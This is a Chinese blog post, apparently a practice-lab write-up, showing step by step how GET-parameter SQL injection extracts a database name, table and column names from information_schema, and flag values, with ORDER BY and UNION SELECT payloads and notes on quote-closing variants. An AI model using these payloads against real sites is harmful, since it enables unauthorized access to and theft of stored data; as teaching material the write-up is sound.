欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

SQL注入——GET类型

程序员文章站 2024-03-21 22:35:16
...

SQL注入——GET类型

靶场地址

原理:
sql注入就是利用GET传参,用户提交数据与数据库进行交互,从数据库中提取有用的信息

第一题:
我们先在url栏测试一下,把id=1改成id=-1
SQL注入——GET类型
结果页面就不显示了
表示存在sql注入漏洞SQL注入——GET类型我们再查看一下源码,发现它是自动闭合的,不需要我们输入代码闭合SQL注入——GET类型

接着,我在url轮流输入

  order by 1,2,3....

测试出它页面字段总数
SQL注入——GET类型

在输入

order by 1,2,3,4

的时候它页面不显示了,于是判断出它字段数为3

SQL注入——GET类型
得知它字段数过后,我就要查当前数据库的名字了。我在url栏利用联合查询

union select 1,2,database()

发现当前数据库名为error
SQL注入——GET类型
查到数据库名,接下来就查表名了,我把前面的id=1改成id=1.1,再在后面输入

union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
SQL注入——GET类型

接着用代码limit 1,1/2.1/3.1,把所有数据库的表名都查出来,发现只有两个表名:error_flag/user

初步判断flag可能存在error_flag表中,于是我开始 查error_flag表的列名
在代码栏继续输入

select 1,2,column_name from information_schema.columns where TABLE_NAME=‘error_flag’ limit 0,1
SQL注入——GET类型我用limit得到所有列名,id;flag于是我们找到了flag,最后一步直接在url栏输入

select 1,2,flag from error_flag limit 0,1

用limit查出所有flag得到

SQL注入——GET类型

用limit查出所有flag
zKaQ-Nf
zKaQ-BJY
zKaQ-XiaoFang
zKaq-98K
最后,发现是第一个flag

其他GET注入都是如此,但是闭合方式不同,有的是需要我们输入单引号闭合;需要我们输入’)闭合,再用#注释掉后面;需要我们输入”)闭合,再用#注释掉后面

相关标签: 黑盒测试